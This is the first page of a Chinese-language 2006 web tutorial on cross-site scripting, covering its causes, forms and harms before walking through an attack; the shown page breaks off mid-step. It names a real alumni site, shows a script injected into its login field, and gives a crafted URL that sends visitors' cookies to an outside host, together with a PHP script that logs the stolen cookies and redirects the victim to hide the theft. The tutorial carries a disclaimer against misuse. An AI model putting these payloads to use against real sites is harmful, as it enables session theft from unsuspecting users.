首页 美女贴图 网络日记 重庆租房 搜索指南 网络电视 飘网音乐 飘网博客 精彩网址 友情链接 飘网地图 本站留言
飘网中国
专题:网络营销 | 网站设计 | QQ技巧 | 搜索优化 | 菜鸟进阶 | 病毒攻防 | 网络技术 | 系统应用 | 本站作品 | 常用软件 | 工具软件 |
飘网中国>>菜鸟进阶>>正文

跨站漏洞脚本执行详解

编辑: 来源: 更新:2006-10-29 点击:
【字体:

摘要:本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够比较详细的介绍该漏洞。
关键字:跨站漏洞 
正文:
   本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。 

   声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负! 

【漏洞成因】 
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或换。 

【漏洞形式】 
    这里所说的形式,实际上是指CGI输入的形式,主要分为两种: 
    1.显示输入 
    2.隐式输入 
    其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。 
显示输入又可以分为两种: 
1.    输入完成立刻输出结果 
2.    输入完成先存储在文本文件或数据库中,然后再输出结果 
注意:后者可能会让你的网站面目全非!而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 

【漏洞危害】 
    大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。 
1.    获取其他用户Cookie中的敏感数据 
2.    屏蔽页面特定信息 
3.    伪造页面信息 
4.    拒绝服务攻击 
5.    突破外网内网不同安全设置 
6.    与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 
7.    其它 
    一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。 

【利用方式】 
    下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。 
    为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。 
    另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。 
    好的,一切就绪,我们开始做实验!:) 
     
    实验一:获取其他用户Cookie中的敏感信息 
    我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行: 
1.    进入首页http://www.5460.net/ 
2.    输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。 
3.    分析抓包数据,得到实际请求: 
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 
4.    构造一个提交,目标是能够显示用户Cookie信息: 
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ 
script>&passwd=&ok.x=28&ok.y=6 
5.    如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求: 
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www. 
notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下: 
<?php 
$info = getenv("QUERY_STRING"); 
if ($info) { 
$fp = fopen("info.txt","a"); 
    fwrite($fp,$info."\n"); 
    fclose($fp); 

header("Location: http://www.5460.net"); 
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。 
6.    如果上面的URL能够正
[1][2][3]
上一篇:各种文件后缀名与打开方式大全
下一篇:谈跨站漏洞脚本攻击与防御
最新文章 更多
推荐文章 更多
热门文章 更多
© 2005-2010 飘网中国 版权所有
站长邮箱:①LCC-749AT163.com ②FlymornATgmail.com(AT改为@)
如转载时,请注明出处;本站部分资源来自网络,如有侵权,请来信说明;飘易文章系统 HTML版.
渝ICP备05000119号